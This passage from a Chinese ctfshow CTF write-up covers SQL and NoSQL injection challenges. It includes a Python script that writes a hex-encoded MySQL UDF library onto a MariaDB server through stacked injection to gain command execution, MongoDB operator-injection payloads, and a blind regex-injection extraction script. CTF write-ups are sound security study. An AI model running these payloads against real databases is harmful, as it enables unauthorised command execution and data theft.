最后我们创建sys_eval这个函数来进行命令执行

1
create function sys_eval returns string soname 'udf.so'

明显获得了命令执行的权限

image-20210803102656908

我们可以看看ip配置

image-20210803102747630

接着就拿这题的flag

image-20210803103022002

但是这样就有点慢了,我写个脚本。很快的,大家可以参考一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests

url="http://419e5714-21cb-4a29-82d4-cecf0bb82bf7.challenge.ctf.show:8080/api/"
payload = "?id=1';select '{}' into dumpfile '/usr/lib/mariadb/plugin/{}.txt'--+"
acquire = "?id=1';select load_file('/usr/lib/mariadb/plugin/{}.txt')--+"
text = ['a','b','c','d']

udf="7F454C4602010100000000000000000003003E0001000000D00C0000000000004000000000000000E8180000000000000000000040003800050040001A00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050E57464040000006412000000000000641200000000000064120000000000009C000000000000009C00000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002B0000001500000005000000280000001E000000000000000000000006000000000000000C00000000000000070000002A00000009000000210000000000000000000000270000000B0000002200000018000000240000000E00000000000000040000001D0000001600000000000000130000000000000000000000120000002300000010000000250000001A0000000F000000000000000000000000000000000000001B00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000A00000011000000000000000000000000000000000000000D0000002600000017000000000000000800000000000000000000000000000000000000000000001F0000001C0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119C4C93DA4400398046883140000001600000017000000190000001B0000001D0000002000000022000000000000002300000000000000240000002500000027000000290000002A00000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED871581CC1E2F7DEA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF36AC68AE3B9FD4A0AC73D1C525681B320B5911FEAB5FBE120000000000000000000000000000000000000000000000000000000003000900A00B0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000E0000000120000000000000000000000DE01000000000000790100001200000000000000000000007700000000000000BA0000001200000000000000000000003504000000000000F5000000120000000000000000000000C2010000000000009E010000120000000000000000000000D900000000000000FB000000120000000000000000000000050000000000000016000000220000000000000000000000FE00000000000000CF000000120000000000000000000000AD00000000000000880100001200000000000000000000008000000000000000AB010000120000000000000000000000250100000000000010010000120000000000000000000000DC00000000000000C7000000120000000000000000000000C200000000000000B5000000120000000000000000000000CC02000000000000ED000000120000000000000000000000E802000000000000E70000001200000000000000000000009B00000000000000C200000012000000000000000000000028000000000000008001000012000B007A100000000000006E000000000000007500000012000B00A70D00000000000001000000000000001000000012000C00781100000000000000000000000000003F01000012000B001A100000000000002D000000000000001F01000012000900A00B0000000000000000000000000000C30100001000F1FF881720000000000000000000000000009600000012000B00AB0D00000000000001000000000000007001000012000B0066100000000000001400000000000000CF0100001000F1FF981720000000000000000000000000005600000012000B00A50D00000000000001000000000000000201000012000B002E0F0000000000002900000000000000A301000012000B00F71000000000000041000000000000003900000012000B00A40D00000000000001000000000000003201000012000B00EA0F0000000000003000000000000000BC0100001000F1FF881720000000000000000000000000006500000012000B00A60D00000000000001000000000000002501000012000B00800F0000000000006A000000000000008500000012000B00A80D00000000000003000000000000001701000012000B00570F00000000000029000000000000005501000012000B0047100000000000001F00000000000000A900000012000B00AC0D0000000000009A000000000000008F01000012000B00E8100000000000000F00000000000000D700000012000B00460E000000000000E800000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F6765745F6465696E6974007379735F657865635F6465696E6974007379735F6576616C5F6465696E6974007379735F62696E6576616C5F696E6974007379735F62696E6576616C5F6465696E6974007379735F62696E6576616C00666F726B00737973636F6E66006D6D6170007374726E6370790077616974706964007379735F6576616C006D616C6C6F6300706F70656E007265616C6C6F630066676574730070636C6F7365007379735F6576616C5F696E697400737472637079007379735F657865635F696E6974007379735F7365745F696E6974007379735F6765745F696E6974006C69625F6D7973716C7564665F7379735F696E666F006C69625F6D7973716C7564665F7379735F696E666F5F696E6974007379735F657865630073797374656D007379735F73657400736574656E76007379735F7365745F6465696E69740066726565007379735F67657400676574656E76006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100B20100001000000000000000751A690900000200D401000000000000801720000000000008000000000000008017200000000000D01620000000000006000000020000000000000000000000D81620000000000006000000030000000000000000000000E016200000000000060000000A00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000A00000000000000000000003817200000000000070000000B00000000000000000000004017200000000000070000000C00000000000000000000004817200000000000070000000D00000000000000000000005017200000000000070000000E00000000000000000000005817200000000000070000000F00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883EC08E827010000E8C2010000E88D0500004883C408C3FF35320B2000FF25340B20000F1F4000FF25320B20006800000000E9E0FFFFFFFF252A0B20006801000000E9D0FFFFFFFF25220B20006802000000E9C0FFFFFFFF251A0B20006803000000E9B0FFFFFFFF25120B20006804000000E9A0FFFFFFFF250A0B20006805000000E990FFFFFFFF25020B20006806000000E980FFFFFFFF25FA0A20006807000000E970FFFFFFFF25F20A20006808000000E960FFFFFFFF25EA0A20006809000000E950FFFFFFFF25E20A2000680A000000E940FFFFFFFF25DA0A2000680B000000E930FFFFFFFF25D20A2000680C000000E920FFFFFFFF25CA0A2000680D000000E910FFFFFFFF25C20A2000680E000000E900FFFFFFFF25BA0A2000680F000000E9F0FEFFFF00000000000000004883EC08488B05F50920004885C07402FFD04883C408C390909090909090909055803D900A2000004889E5415453756248833DD809200000740C488B3D6F0A2000E812FFFFFF488D05130820004C8D2504082000488B15650A20004C29E048C1F803488D58FF4839DA73200F1F440000488D4201488905450A200041FF14C4488B153A0A20004839DA72E5C605260A2000015B415CC9C3660F1F8400000000005548833DBF072000004889E57422488B05530920004885C07416488D3DA70720004989C3C941FFE30F1F840000000000C9C39090C3C3C3C331C0C3C341544883C9FF4989F455534883EC10488B4610488B3831C0F2AE48F7D1488D69FFE8B6FEFFFF83F80089C77C61754FBF1E000000E803FEFFFF488D70FF4531C94531C031FFB921000000BA07000000488D042E48F7D64821C6E8AEFEFFFF4883F8FF4889C37427498B4424104889EA4889DF488B30E852FEFFFFFFD3EB0CBA0100000031F6E802FEFFFF31C0EB05B8010000005A595B5D415CC34157BF00040000415641554531ED415455534889F34883EC1848894C24104C89442408E85AFDFFFFBF010000004989C6E84DFDFFFFC600004889C5488B4310488D356A030000488B38E814FEFFFF4989C7EB374C89F731C04883C9FFF2AE4889EF48F7D1488D59FF4D8D641D004C89E6E8DDFDFFFF4A8D3C284889DA4C89F64D89E54889C5E8A8FDFFFF4C89FABE080000004C89F7E818FDFFFF4885C075B44C89FFE82BFDFFFF807D0000750A488B442408C60001EB1F42C6442DFF0031C04883C9FF4889EFF2AE488B44241048F7D148FFC94889084883C4184889E85B5D415C415D415E415FC34883EC08833E014889D7750B488B460831D2833800740E488D353A020000E817FDFFFFB20188D05EC34883EC08833E014889D7750B488B460831D2833800740E488D3511020000E8EEFCFFFFB20188D05FC3554889FD534889D34883EC08833E027409488D3519020000EB3F488B46088338007409488D3526020000EB2DC7400400000000488B4618488B384883C70248037808E801FCFFFF31D24885C0488945107511488D351F0200004889DFE887FCFFFFB20141585B88D05DC34883EC08833E014889F94889D77510488B46088338007507C6010131C0EB0E488D3576010000E853FCFFFFB0014159C34154488D35EF0100004989CC4889D7534889D34883EC08E832FCFFFF49C704241E0000004889D8415A5B415CC34883EC0831C0833E004889D7740E488D35D5010000E807FCFFFFB001415BC34883EC08488B4610488B38E862FBFFFF5A4898C34883EC28488B46184C8B4F104989F2488B08488B46104C89CF488B004D8D4409014889C6F3A44C89C7498B4218488B0041C6040100498B4210498B5218488B4008488B4A08BA010000004889C6F3A44C89C64C89CF498B4218488B400841C6040000E867FBFFFF4883C4284898C3488B7F104885FF7405E912FBFFFFC3554889CD534C89C34883EC08488B4610488B38E849FBFFFF4885C04889C27505C60301EB1531C04883C9FF4889D7F2AE48F7D148FFC948894D00595B4889D05DC39090909090909090554889E5534883EC08488B05C80320004883F8FF7419488D1DBB0320000F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9C390904883EC08E86FFBFFFF4883C408C345787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D657465720045787065637465642065786163746C792074776F20617267756D656E747300457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E34004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F290000011B033B980000001200000040FBFFFFB400000041FBFFFFCC00000042FBFFFFE400000043FBFFFFFC00000044FBFFFF1401000047FBFFFF2C01000048FBFFFF44010000E2FBFFFF6C010000CAFCFFFFA4010000F3FCFFFFBC0100001CFDFFFFD401000086FDFFFFF4010000B6FDFFFF0C020000E3FDFFFF2C02000002FEFFFF4402000016FEFFFF5C02000084FEFFFF7402000093FEFFFF8C0200001400000000000000017A5200017810011B0C070890010000140000001C00000084FAFFFF01000000000000000000000014000000340000006DFAFFFF010000000000000000000000140000004C00000056FAFFFF01000000000000000000000014000000640000003FFAFFFF010000000000000000000000140000007C00000028FAFFFF030000000000000000000000140000009400000013FAFFFF01000000000000000000000024000000AC000000FCF9FFFF9A00000000420E108C02480E18410E20440E3083048603000000000034000000D40000006EFAFFFFE800000000420E10470E18420E208D048E038F02450E28410E30410E38830786068C05470E50000000000000140000000C0100001EFBFFFF2900000000440E100000000014000000240100002FFBFFFF2900000000440E10000000001C0000003C01000040FBFFFF6A00000000410E108602440E188303470E200000140000005C0100008AFBFFFF3000000000440E10000000001C00000074010000A2FBFFFF2D00000000420E108C024E0E188303470E2000001400000094010000AFFBFFFF1F00000000440E100000000014000000AC010000B6FBFFFF1400000000440E100000000014000000C4010000B2FBFFFF6E00000000440E300000000014000000DC01000008FCFFFF0F00000000000000000000001C000000F4010000FFFBFFFF4100000000410E108602440E188303470E2000000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF000000000000000000000000000000000100000000000000B2010000000000000C00000000000000A00B0000000000000D00000000000000781100000000000004000000000000005801000000000000F5FEFF6F00000000A00200000000000005000000000000006807000000000000060000000000000060030000000000000A00000000000000E0010000000000000B0000000000000018000000000000000300000000000000E81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200A0000000000000700000000000000C0090000000000000800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000A009000000000000FFFFFF6F000000000100000000000000F0FFFF6F000000004809000000000000F9FFFF6F0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000CE0B000000000000DE0B000000000000EE0B000000000000FE0B0000000000000E0C0000000000001E0C0000000000002E0C0000000000003E0C0000000000004E0C0000000000005E0C0000000000006E0C0000000000007E0C0000000000008E0C0000000000009E0C000000000000AE0C000000000000BE0C0000000000008017200000000000004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200002E7368737472746162002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E64796E616D6963002E676F74002E676F742E706C74002E64617461002E627373002E636F6D6D656E7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000B000000F6FFFF6F0200000000000000A002000000000000A002000000000000C000000000000000030000000000000008000000000000000000000000000000150000000B00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001D00000003000000020000000000000068070000000000006807000000000000E00100000000000000000000000000000100000000000000000000000000000025000000FFFFFF6F020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000FEFFFF6F0200000000000000A009000000000000A009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000C009000000000000C00900000000000060000000000000000300000000000000080000000000000018000000000000004B000000040000000200000000000000200A000000000000200A0000000000008001000000000000030000000A0000000800000000000000180000000000000055000000010000000600000000000000A00B000000000000A00B000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000B80B000000000000B80B00000000000010010000000000000000000000000000040000000000000010000000000000005B000000010000000600000000000000D00C000000000000D00C000000000000A80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000E000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000DD000000000000000000000000000000010000000000000001000000000000006F000000010000000200000000000000641200000000000064120000000000009C000000000000000000000000000000040000000000000000000000000000007D000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008E000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009A000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000A3000000010000000300000000000000D016200000000000D0160000000000001800000000000000000000000000000008000000000000000800000000000000A8000000010000000300000000000000E816200000000000E8160000000000009800000000000000000000000000000008000000000000000800000000000000B1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000B7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000BC000000010000000000000000000000000000000000000088170000000000009B000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000C500000000000000000000000000000001000000000000000000000000000000"
udf_text=[]

for i in range(0,20000,5000):
end = i+5000
udf_text.append(udf[i:end])

p = dict(zip(text,udf_text))

for t in text:
param=payload.format(p[t],t)
get_url = url + param
res = requests.get(get_url)
print("[*]",end="")
code = res.status_code
print(code,end="")
if code==404:
print("你输入的URL可能出错")
acq=acquire.format(t)
data=url+acq
res = requests.get(url=data)
if "load_file" in res.text:
print("-->成功插入{}.txt".format(t))

print("[*]导入udf.so成功")
url_sys_dll = "?id=1%27;select unhex(concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'))) into dumpfile '/usr/lib/mariadb/plugin/udf.so' --+"
res= requests.get(url=url+url_sys_dll)
print("[*]创建函数sys_eval()成功")
url_sys_function = "?id=1%27;create function sys_eval returns string soname 'udf.so'--+"
res= requests.get(url=url+url_sys_function)

print("[*]命令执行结果: ")
sys_eval="?id=';select sys_eval('cat /flag.*')--+"
res= requests.get(url=url+sys_eval)
print(res.text)

image-20210803114942859

web249

  • nosql,也跟MongoDB一个意思,先去补补MongoDB的基础知识,MongoDB基础
1
2
//无
$user = $memcache->get($id);

image-20210804163303545

由于他校验的是第一个输入的数据,对于非空的数组,intval会返回1,所以可以绕过intval校验,然后再来搜flag,就可以搜索key为flag的值了

1
?id[]=flag

web250

1
2
3
4
5
6
7
8
  $query = new MongoDB\Driver\Query($data);
$cursor = $manager->executeQuery('ctfshow.ctfshow_user', $query)->toArray();

//无过滤
if(count($cursor)>0){
$ret['msg']='登陆成功';
array_push($ret['data'], $flag);
}

他传入的data是username和password,所以想要这个返回值为真,我们就要构造永真式,利用ne(not equal)来让这个式子一直是真的,就为1就绕过了

post传入payload

1
username[$ne]=hacker&password[$ne]=hacker

web251

  • 感觉和上题一样,那就换个永真式
1
username[$regex]=.*&password[$regex]=.*

web252

  • 这题和上题有点区别,利用永真式获得了账号和密码,登陆并没有获取flag,用正则找一下

payload,找以f开头的用户名就找到了

1
username[$regex]=f.*&password[$ne]=1

web253

  • 这题跟上面几题有点不同,可以登录成功,但是无回显。所以我们可以通过正则匹配来判断这个是否存在。

明显,账号数据中存在flag,因为显示的msg是登录成功image-20210804144108579

因此我们利用这个回显,写个布尔盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/4
# blog: gylq.gitee.io
import requests

url = "http://a2efa0f0-f634-4621-bd4a-e96a4f1b0196.challenge.ctf.show:8080/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""

payload_user = "flag.*"
payload_pass = "^{}.*"

n = 0

for i in range(1, 666):
for j in str:
data = {
'username[$regex]':payload_user,
'password[$regex]':payload_pass.format(flag+j)
}
res = requests.post(url = url, data=data)
if r"\u767b\u9646\u6210\u529f" in res.text:
flag += j
n += 1
print('[*] 开始盲注第{}位'.format(n))
print(flag)
if j == "}":
print('[*] flag is {}'.format(flag))
exit()
break

image-20210804162826968

本文标题:【ctfshow】web篇-SQL注入 wp

文章作者:孤桜懶契

发布时间:2021年08月09日 - 07:19:42

最后更新:2022年05月20日 - 11:47:45

原始链接:https://gylq.gitee.io/posts/88.html

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------------本文结束 感谢您的阅读-------------------